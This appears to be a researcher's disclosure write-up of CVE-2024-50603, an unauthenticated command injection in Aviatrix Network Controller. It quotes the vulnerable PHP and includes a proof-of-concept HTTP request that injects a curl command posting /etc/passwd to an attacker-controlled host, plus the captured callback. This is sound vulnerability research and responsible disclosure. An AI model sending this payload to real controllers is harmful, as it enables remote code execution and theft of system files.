CVE-2024-50603: Aviatrix Network Controller Command Injection Vulnerability

Due to the improper neutralization of the user-controllable input before it is passed for the execution, an unauthenticated attacker can send a payload that is executed on the Aviatrix Network Controller.

Jakub Korepta 2025.01.07   –   5 MIN read

Overview of CVE-2024-50603

An issue was discovered in Aviatrix Controller 7.x through 7.2.4820. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to remotely execute arbitrary code.

Connect with the author on LinkedIn!

CVE-2024-50603: In-depth analysis 

Aviatrix enables enterprise organizations to deliver purpose-built infrastructure to support business-critical applications and accelerate cloud initiatives. Combining industry-leading software defined networking with orchestrated native services, the Aviatrix Networking Platform unifies the clouds, providing simplified operations, optimized cloud costs, improved security, and advanced networking. The Aviatrix Cloud Networking Platform aligns cloud footprints to best-practice architecture frameworks while enabling accelerating deployments through Infrastructure-as-Code. [1]

Shodan shows 681 publicly exposed Aviatrix Controllers:

I deployed the Aviatrix Cloud Network Controller using AWS and Azure Marketplaces to extract the code.

The disk image on AWS was secured, and I couldn’t access the files directly. Additionally, the application doesn’t allow access to the console, so I couldn’t gain access from that side either. However, during the installation of the software from the Azure Marketplace, I was able to log in directly to the machine and copy all files for analysis before the installation process was finished and the machine was configured to forbid SSH access.

After accessing the files, I noticed that the exposed API is a wrapper written in PHP, which receives data from the user, appends it to system commands, and runs the cloudx_cli application with the appropriate parameters. An example can be seen below:

} else if ($action == "forget_controller_password") { 
  $username = $params["username"]; 
  if (empty($username)) { 
    $res["reason"] = "Username cannot be blank."; 
  } else { 
    $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management reset_password"; 
    $cmdstr .= " --user_name " . escapeshellarg($username); 
    $ret = exec_command($cmdstr, $rtn_file); 
    if (preg_match("/true/", $ret[0])) { 
      $res["return"] = true; 
      $res["results"] = json_decode($ret[2])->text; 
    } else { 
      $res["reason"] = $ret[1]; 
    } 
  } 
} 

In this case, user-supplied parameters are properly sanitized using escapeshellarg. However, I started to wonder if there were any cases where it hadn’t been used correctly. After running a few grep commands, I noticed that some of the parameters are indeed not using this function.

Vulnerable action Vulnerable parameter 
list_flightpath_destination_instances cloud_type 
flightpath_connection_test src_cloud_type 

case "list_flightpath_destination_instances": 
    $account_name = $params["account_name"]; 
    $region = $params["region"]; 
    $vpc_id_name = $params["vpc_id_name"]; 
    $cloud_type = $params["cloud_type"] ? $params["cloud_type"] : "1"; 
    if (empty($account_name) || empty($region) || empty($vpc_id_name)) { 
      $res["reason"] = "following parameters are required: account_name, region, vpc_id_name"; 
    } else { 
      $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " resource_report $cloud_type "; 
      $cmdstr .= $action == "list_flightpath_source_instances" ? "src_instances" : "dest_instances"; 
      $cmdstr .= " --account_name " . escapeshellarg($account_name); 
      $cmdstr .= " --region " . escapeshellarg($region); 
      $cmdstr .= " --vpc_id_name " . escapeshellarg($vpc_id_name); 
      $ret = exec_command($cmdstr, $rtn_file); 
      if (preg_match("/true/", $ret[0])) { 
        $res["return"] = true; 
        $res["results"] = json_decode($ret[2])->items; 
      } else { 
        $res["reason"] = $ret[1]; 
      } 
    } 
    break;

In order to execute the above function, you need to see an HTTP request, which requires a API session identifier called CID. The value of the CID parameter is then appended to the command. Since checking the validity of the CID is done during the execution of the CLI, any value will work.

function exec_command($cmdstr, $rtn_file, $cid_flag = false) { 
    global $dev_mode, $params, $res; 
    if (!$cid_flag) { 
      $sid = $_POST["CID"] ? $_POST["CID"] : $params["CID"]; 
      if ($sid && $sid != "undefined") $cmdstr .= " --login_cid " . escapeshellarg($sid); 
    }

CVE-2024-50603: Proof of Concept

Finally, taking all the pieces together, since the function escapeshellarg is not used on the cloud_type parameter, I was able to add a pipe and execute a malicious function. For a Proof of Concept, I run curl sending the contents of /etc/passwd to my server:

POST /v1/api HTTP/1.1 
Host: 10.55.55.55 
Content-Length: 177 
Content-Type: application/x-www-form-urlencoded 
 
action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+"@/etc/passwd"+https://address.controlled.by.the.attacker)

Then I received a callback to my server containing the contents of the /etc/passwd file: 

POST / HTTP/1.1 
Host: address.controlled.by.the.attacker 
User-Agent: curl/7.58.0 
Accept: */* 
Content-Length: 1971 
Content-Type: application/x-www-form-urlencoded 
Expect: 100-continue
root:x:0:0:root:/root:/bin/bash 
(...) 
azureuser:x:1001:1003:Ubuntu:/home/azureuser:/bin/bash 
assetd-service-user:x:1002:1004::/home/assetd-service-user:/bin/sh 
volume-scanner-orchestrator:x:113:65534::/home/volume-scanner-orchestrator:/usr/sbin/nologin 
etcd:x:114:119::/var/lib/etcd/:/usr/sbin/nologin

Disclosure timeline

2024-10-17: Vulnerability note was sent to the Aviatrix.
2024-10-18: Meeting with Aviatrix security team.
2024-11-07: Patch was released and Aviatrix’ customers were notified.
2024-12-19: New release with patched vulnerability.
2025-01-07: Public disclosure of the vulnerability.

References 

[1] Microsoft Azure Marketplace

Connect with the author on LinkedIn!

Jakub Korepta
Jakub Korepta Principal IT Security Consultant
Head of Infrastructure